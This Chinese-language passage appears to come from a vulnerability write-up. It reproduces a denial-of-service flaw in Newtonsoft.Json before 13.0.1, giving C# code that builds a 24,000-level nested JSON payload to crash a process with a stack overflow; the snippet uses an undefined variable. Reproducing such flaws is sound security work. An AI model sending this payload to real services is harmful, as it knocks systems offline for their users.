0x01 复现
在Newtonsoft.Json的13.0.1版本之前存在一个安全漏洞,涉及处理多层嵌套表达式时的错误处理可能导致 StackOverFlow 异常或过高的CPU和RAM使用率引发拒绝服务DoS攻击。
这里触发漏洞需要非常多层的嵌套,需要数据量>10k或输入大小约为9.5MB的结构,例如创建24000次"{a:{a:{...",然后再次创建24000次"}",恶意攻击载荷代码创建实现如下.
int nRep = 24000;
string json = string.Concat(Enumerable.Repeat("{a:", nRep)) + "1" +string.Concat(Enumerable.Repeat("}", nRep));
using (var ms = new MemoryStream())
using (var sWriter = new StreamWriter(ms))
using (var jWriter = new JsonTextWriter(sWriter)){
parsedJson.WriteTo(jWriter);
}
上述代码通过调用parsedJson.WriteTo(jWriter)将JObject对象写入到JsonTextWriter,此时抛出"Process is terminated due to StackOverflowException"进程关闭的异常信息,如下图所示
同样JsonConvert.Serialize和JsonConvert.DeserializeObject同样也会遇到拒绝服务漏洞,如下图